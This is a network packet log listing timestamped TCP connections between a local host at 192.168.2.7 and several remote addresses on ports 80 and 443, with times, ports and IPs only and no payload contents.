Nov 12, 2024 08:06:21.687139034 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.687177896 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.687180996 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.687199116 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.687236071 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.687254906 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.687269926 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.687282085 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.687294006 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.687304974 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.687310934 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.687323093 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.688067913 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.688079119 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.688091993 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.688118935 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.688122034 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.688137054 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.688155890 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.688169003 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.688174963 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.688174963 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.688182116 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.688210011 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.689011097 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.689024925 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.689038038 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.689054012 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.689090967 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.704129934 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.704157114 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.704174042 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.704185963 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.704195976 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.704205990 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.704226971 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.758770943 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.817631960 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.817681074 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.817691088 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.817718029 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.817728043 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.817740917 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.817755938 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.817765951 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.817792892 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.817792892 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.817792892 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.817842007 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.818022966 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818036079 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818046093 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818067074 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818069935 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.818145990 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.818278074 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818289995 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818319082 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818355083 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.818367004 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818378925 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818406105 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818417072 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.818422079 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818447113 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.818722010 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818734884 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818748951 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818768024 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.818799019 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.818820000 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818842888 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818856955 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818877935 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.818881989 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.818942070 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.819102049 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.819154024 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.819165945 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.819176912 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.819196939 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.819215059 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.819369078 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.819488049 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.819499969 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.819511890 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.819530010 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.819530010 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.819542885 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.819555044 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.819555998 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.819567919 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.819587946 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.819619894 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.819881916 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.819925070 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.819936991 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.819963932 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.819993973 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820008039 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820019007 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820030928 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820033073 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.820048094 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820050955 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.820089102 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.820453882 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820466042 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820477009 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820491076 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820497036 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.820504904 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820533037 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.820575953 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820588112 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820599079 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820611000 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820617914 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.820624113 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820633888 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.820667982 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.820672035 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820720911 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820735931 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.820769072 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.821425915 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.821444035 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.821463108 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.821474075 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.821474075 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.821486950 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.821499109 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.821502924 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.821517944 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.821530104 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.821563959 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.821597099 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.821609974 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.821619987 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.821631908 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.821641922 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.821644068 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.821657896 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.821676016 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.821696997 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.822377920 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.822390079 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.822401047 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.822418928 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.822428942 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.822438002 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.822465897 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.826049089 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.826071978 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.826085091 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.826107025 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.826127052 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.826141119 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.826153994 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.826184988 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.826199055 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.826206923 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.826251984 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.939729929 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.939745903 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.939840078 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.939870119 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.939892054 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.939904928 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.939951897 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.939955950 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.939969063 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.939979076 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940002918 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.940032959 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940036058 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.940085888 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940097094 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940129995 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.940139055 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940151930 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940191984 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.940218925 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940229893 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940241098 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940268040 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940274000 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.940282106 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940294027 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.940325975 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.940355062 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940366030 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940407991 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.940412045 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940424919 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940437078 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940458059 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.940509081 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940519094 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940552950 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940560102 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.940563917 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.940606117 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.950815916 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.950844049 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.950856924 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.950901985 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.950913906 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.950997114 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.951118946 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951132059 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951142073 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951155901 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951168060 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951176882 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.951184988 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951195002 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.951239109 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.951292038 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951309919 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951355934 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951380014 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.951414108 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951426029 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951437950 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951463938 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.951494932 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.951508045 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951519966 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951529980 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951558113 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.951570034 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951581955 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951620102 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.951709032 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951720953 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951730967 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951757908 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.951770067 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.951867104 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951879978 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951889992 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951914072 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.951936007 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951947927 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951960087 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.951983929 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.951992989 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952009916 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.952013969 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952028036 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952054977 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.952105999 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952157974 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.952163935 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952176094 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952188015 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952209949 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.952270985 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952321053 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.952326059 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952337980 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952348948 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952361107 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952373981 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.952403069 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.952434063 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952446938 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952459097 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952482939 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.952537060 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952550888 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952588081 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.952632904 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952645063 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952656031 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.952680111 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.952692032 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.955852985 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.955899954 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.955910921 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.955921888 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.955943108 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.955946922 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.955962896 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.955970049 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.955976009 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.955987930 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.956006050 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.956024885 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:22.195523024 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:22.620402098 CET	49810	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:22.626043081 CET	80	49810	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:22.626108885 CET	49810	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:22.626317024 CET	49810	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:22.631043911 CET	80	49810	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:23.514841080 CET	80	49810	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:23.518517017 CET	49810	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:23.523384094 CET	80	49810	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:23.801855087 CET	80	49810	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:23.852518082 CET	49810	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:25.683334112 CET	49828	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:25.683358908 CET	443	49828	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:25.683516026 CET	49828	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:25.699625015 CET	49828	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:25.699649096 CET	443	49828	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:26.384206057 CET	443	49828	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:26.384320021 CET	49828	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:26.390743017 CET	49828	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:26.390749931 CET	443	49828	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:26.391031981 CET	443	49828	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:26.442380905 CET	49828	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:26.487330914 CET	443	49828	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:26.586442947 CET	443	49828	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:26.586508989 CET	443	49828	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:26.586572886 CET	49828	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:26.619307995 CET	49828	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:26.625142097 CET	49810	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:26.630007029 CET	80	49810	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:26.912600994 CET	80	49810	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:26.914483070 CET	49834	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:26.914541006 CET	443	49834	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:26.914606094 CET	49834	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:26.914875984 CET	49834	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:26.914892912 CET	443	49834	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:26.977566004 CET	49810	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:27.531049967 CET	443	49834	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:27.533173084 CET	49834	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:27.533205032 CET	443	49834	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:27.678994894 CET	443	49834	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:27.679066896 CET	443	49834	188.114.97.3	192.168.2.7
Nov 12, 2024 08:06:27.679121971 CET	49834	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:27.679546118 CET	49834	443	192.168.2.7	188.114.97.3
Nov 12, 2024 08:06:27.687041044 CET	49810	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:27.690556049 CET	49840	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:27.692887068 CET	80	49810	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:27.692961931 CET	49810	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:27.695354939 CET	80	49840	132.226.8.169	192.168.2.7
Nov 12, 2024 08:06:27.695451975 CET	49840	80	192.168.2.7	132.226.8.169
Nov 12, 2024 08:06:27.695509911 CET	49840	80	192.168.2.7	132.226.8.169
